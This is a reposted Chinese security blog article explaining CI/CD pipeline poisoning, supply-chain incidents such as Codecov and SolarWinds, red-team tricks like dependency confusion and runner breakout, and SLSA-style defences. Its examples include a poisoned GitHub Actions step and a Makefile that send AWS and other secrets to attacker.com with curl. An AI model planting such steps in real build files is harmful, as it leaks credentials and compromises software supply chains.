文章总结： 本文解析CI/CD流水线投毒的三种模式及红队利用技术，复盘Codecov与SolarWinds等经典案例。基于SLSA框架，提出从源头治理、构建隔离到制品签名的纵深防御体系，强调零信任原则对保障软件供应链安全的重要性。 综合评分： 94 文章分类： 云安全,供应链安全,红队,解决方案
【云安全专题-10】CI/CD 流水线投毒与软件供应链攻防
原创
Ca1m Ca1m
FunnyHacking
2026年1月20日 18:27 上海
🏴☠️ 前言：当“特洛伊木马”进入自动化产线
在云原生架构下，CI/CD（持续集成/持续部署）流水线已不仅仅是代码的搬运工，它是连接开发者 IDE 与生产环境 K8s 集群的“主动脉”。
传统的边界防御思维正在失效。试想一下：攻击者不再费力去爆破你坚固的防火墙，也不去挖掘复杂的 Zero-Day 漏洞，而是潜入你的软件工厂，在“装配线”上悄悄拧松一颗螺丝，或者在“原材料”里混入一滴毒药。
流水线投毒（Poisoned Pipeline Execution, PPE） 正在成为红队渗透和黑产攻击的“核武器”。它利用了 DevOps 流程中对自动化的高度信任，让恶意代码搭乘合法的便车，直达生产环境心脏。
本章作为云安全专题的压轴篇，将深入剖析 CI/CD 攻击的底层逻辑、复盘惊天大案，并构建基于 SLSA 框架的防御体系。
技术解析：三种流水线投毒攻击模式
根据OWASP的分类，流水线投毒攻击主要分为三种模式：
1. 直接投毒（Direct PPE，D-PPE）
攻击者直接修改仓库中的CI配置文件（如.gitlab-ci.yml、.github/workflows/*.yml、 Jenkinsfile），在其中插入恶意命令。
攻击路径：
- • 攻击者通过窃取的凭证或未受保护的分支，向仓库推送修改后的CI配置文件
- • 当代码推送（push）或拉取请求（PR）触发流水线时，恶意命令在构建节点上执行
- • 恶意代码通常会窃取存储在CI中的高价值凭据（如云服务密钥、制品库令牌）
示例场景：
# 恶意修改后的GitHub Actions配置
name:BuildPipeline
on:push
jobs:
build:
runs-on:ubuntu-latest
steps:
-env:
AWS_ACCESS_KEY:${{secrets.AWS_ACCESS_KEY_ID}}
AWS_SECRET_KEY:${{secrets.AWS_SECRET_ACCESS_KEY}}
-run: |
# 将凭据外传到攻击者控制的服务器
curl -d "creds=$(echo $AWS_ACCESS_KEY:$AWS_SECRET_KEY | base64)" https://attacker.com/exfil
2. 间接投毒（Indirect PPE，I-PPE）
当CI配置文件本身受到保护（如存放在独立分支或仓库）时，攻击者转而攻击被CI文件引用的其他文件。
常见攻击目标：
- • Makefile：构建过程中执行的make命令
- • 测试脚本：单元测试、集成测试中执行的代码
- • 工具配置文件：代码检查工具（linter）、安全扫描工具的配置文件
- • 构建脚本：Python、Shell等构建辅助脚本
攻击路径：
- • 攻击者提交一个修改了Makefile的拉取请求
- • 流水线被触发，按照受保护的CI配置文件执行
- • CI文件中的
make build命令执行被篡改的Makefile - • 恶意代码在构建节点上运行，窃取环境变量中的凭据
示例场景：
# 正常的Makefile
build:
echo "Building..."
# 被投毒的Makefile
build:
curl -d "$$(env | grep -E 'AWS|KUBE|DOCKER')" https://attacker.com/collect
echo "Building..." # 保持正常输出以隐藏恶意行为
3. 公开投毒（Public PPE，3PE）
针对开源项目的攻击。攻击者向开源项目提交一个 Pull Request (PR)，如果该项目的 CI 配置为“自动为所有 PR 运行测试”，那么攻击者的恶意代码就会在项目维护者的构建环境中运行。
攻击特点：
- • 攻击者无需任何内部权限
- • 利用公开仓库的自动化测试机制
- • 特别危险的是使用
pull_request_target触发器的GitHub Actions
二、 史诗级案例复盘：信任是如何崩塌的？
理解攻击最好的方式是回顾历史。以下三个案例分别代表了供应链攻击的不同维度。
案例一：Codecov 供应链攻击 (2021) —— Bash 脚本的陷阱
- • 类型：间接投毒 / 基础设施沦陷
- • 过程：
黑客通过泄露的 GCS 凭证攻破了 Codecov（代码覆盖率工具）的存储桶，修改了官方提供的
Bash Uploader脚本。 全球成千上万的企业在 CI 流水线中都会执行一句curl -s .../bash-uploader | bash。 - • 后果： 黑客在脚本中插入了一行代码，将 CI 环境中的所有环境变量（包含各大厂的 AWS 密钥、Github Token）发送到了黑客服务器。
- • 启示：
你流水线中执行的每一个
curl | bash，都是悬在头顶的达摩克利斯之剑。
案例二：SolarWinds (2020) —— 构建环境的污染
- • 类型：构建系统入侵 / 编译器篡改
- • 过程： 攻击者（APT29）长期潜伏在 SolarWinds 的构建服务器中，在 Orion 软件编译的过程中，动态替换了源代码文件（Sunburst 后门）。
- • 后果： 带有签名的官方更新包被分发给包括美国政府、微软在内的 18000+ 客户。
- • 启示： 如果构建环境本身不可信，那么源代码是干净的也无济于事。
案例三：CircleCI 泄露事件 (2023) —— 工程师终端的沦陷
- • 类型：凭证窃取 / 侧向移动
- • 过程： 攻击者通过恶意软件感染了 CircleCI 工程师的笔记本电脑，窃取了 Session Token，绕过 2FA 访问了内部系统，进而窃取了客户存储在 CircleCI 中的加密密钥。
- • 后果： CircleCI 被迫建议所有客户轮换所有密钥。
- • 启示： CI/CD 系统的管理员和开发者终端，是整个供应链中最薄弱的一环。
三、 深度攻防：红队视角的利用技术
在实战中，红队是如何利用 CI/CD 系统的？
1. Runner 逃逸 (Runner Breakout)
CI/CD 的任务通常运行在 Docker 容器中。为了能够构建 Docker 镜像，运维人员经常会将 Docker Socket 挂载进容器，或者开启 --privileged 特权模式。
- • 攻击手法：
参考我们之前的【Docker 逃逸】章节，攻击者利用
docker.sock在宿主机创建特权容器，从而逃逸出 Runner，控制宿主机，甚至横向移动到内网其他区域。
2. 依赖混淆 (Dependency Confusion)
企业内部通常会使用私有源（如 internal-auth-lib v1.0）。
- • 攻击手法： 攻击者在公共仓库（npm/pypi）注册同名包，但版本号极高（v999.9）。
- • 触发： 如果企业的构建配置未严格锁定私有源，包管理器会默认下载版本号更高的公共包，导致恶意代码在构建阶段被执行。
3. 持久化与后门
- • 自托管 Runner：攻击者在受控机器上注册一个恶意的 Self-hosted Runner 到项目中。当有构建任务调度过来时，攻击者可以窃取所有代码和凭证。
- • Webhook劫持：修改代码仓库的 Webhook，将 Push 事件转发到攻击者服务器，实时监控代码变更。
四、 防御体系：构建 SLSA 级别的安全流水线
防御供应链攻击不能单点突破，必须建立纵深防御体系。我们可以参考 Google 提出的 SLSA (Supply-chain Levels for Software Artifacts) 框架。
1. 源头治理：收敛信任
-
• 分支保护：禁止直接 Push 到
main/master分支，强制执行 Code Review（代码审查）。 -
• 锁定依赖：
-
• 使用
package-lock.json,go.sum锁定依赖版本和 Hash。 -
• 配置私有制品库（如 Nexus/Artifactory），代理并缓存公共包，阻断直接访问外网源。
-
• 依赖扫描 (SCA)：集成 Snyk、Trivy 等工具，在构建前扫描依赖包的 CVE 漏洞。
2. 构建环境：隔离与临时性
-
• 临时 Runner：使用无状态的、一次性的构建环境（如 K8s Ephemeral Runners）。任务结束后立即销毁环境，不留持久化机会。
-
• 最小权限：
-
• Runner 禁止使用
--privileged。 -
• CI Job 使用 OIDC (OpenID Connect) 与云厂商进行身份联邦，获取短时 Token，严禁使用长效 AK/SK。
-
• 网络隔离：构建环境原则上不应访问公网（除了受控的制品库），防止数据外带。
3. 制品完整性：签名与验证
这是防御篡改的最后一道防线。
- • 代码签名：使用 Sigstore/Cosign 对构建出的 Docker 镜像或二进制文件进行签名。
- • 来源证明 (Provenance)：生成构建证明，记录“什么源码、在什么时间、由哪个 Runner、使用什么参数”构建了这个制品。
- • 准入控制：在 K8s 集群中配置 Admission Controller，只允许部署带有合法签名且校验通过的镜像。
4. 侦测与响应
- • 日志审计：统一收集 CI/CD 系统的 Audit Log，监控异常的 Pipeline 修改行为、异常的 Runner 注册行为。
- • 蜜罐 Token：在代码仓库或 CI 环境变量中放置虚假的 AWS Token（Canary Tokens），一旦被调用立即报警。
五、 结语
云原生安全是一场不对称的战争。
过去，我们守卫的是服务器；现在，我们必须守卫产生代码的流水线。 CI/CD 流水线投毒揭示了一个残酷的现实：“信任”本身就是最大的漏洞。
至此，我们的【云安全专题】核心技术篇章（基础知识 扫盲 ->IAM和AKSK ->EC2 -> S3 -> RDS ->Docker -> K8s -> CI/CD）已构建完毕。这不仅是一套技术教程，更是一份现代云上生存指南。网络安全没有银弹，唯有“Never Trust, Always Verify”（零信任）的原则，才能在复杂的供应链丛林中通过迷雾。
📚 扩展阅读资源：
- • OWASP Top 10 CI/CD Security Risks
- https://owasp.org/www-project-top-10-ci-cd-security-risks/
- • SLSA (Supply-chain Levels for Software Artifacts) Framework
- https://slsa.dev/
- • CI/CD Security Cheat Sheet
https://cheatsheetseries.owasp.org/cheatsheets/CI_CD_Security_Cheat_Sheet.html
🔮 未完待续：下一站，我们去哪？
随着 CI/CD 篇章的落幕，我们的【云安全专题】基础版本将暂时告一段落。但这并非终点，而是新征程的起点。
面对技术浪潮的更迭与职场环境的变化，接下来的内容规划将围绕“技术深耕”与“个人成长”双线并行：
- • 拥抱 AI 时代：从 AI 基础与提效工具，到前沿的 LLM 大模型安全攻防，带你通过 AI 时代的生存大考。
- • 深耕云攻防：跳出基础概念，我们将潜入云原生的深水区，挖掘更具实战价值的高阶攻防技法。
- • 安全人进阶：技术之外，我将分享安全管理体系建设、职场转型路径以及软实力提升的心法，助你打破职业天花板。
- • 财富与生活：不仅要搞定技术，也要搞定生活。我也会不定期分享关于投资理财的实战经验与思考，探索技术变现之外的财富增值逻辑。
码字不易，原创更难。 你的每一次转发和点赞，都是我持续输出干货的最大动力。
2026，让我们在云端相见，一起进化，一起暴富！
⚠️ 免责声明
本文介绍的技术与工具仅限于授权的安全测试、企业内部风险自查或学术研究。严禁利用本文所提供的技术信息对未经授权的云服务进行扫描、攻击或数据窃取。 阅读本文即视为您同意并遵守相关法律法规。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：FunnyHacking Ca1m Ca1m《【云安全专题-10】CI/CD 流水线投毒与软件供应链攻防》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论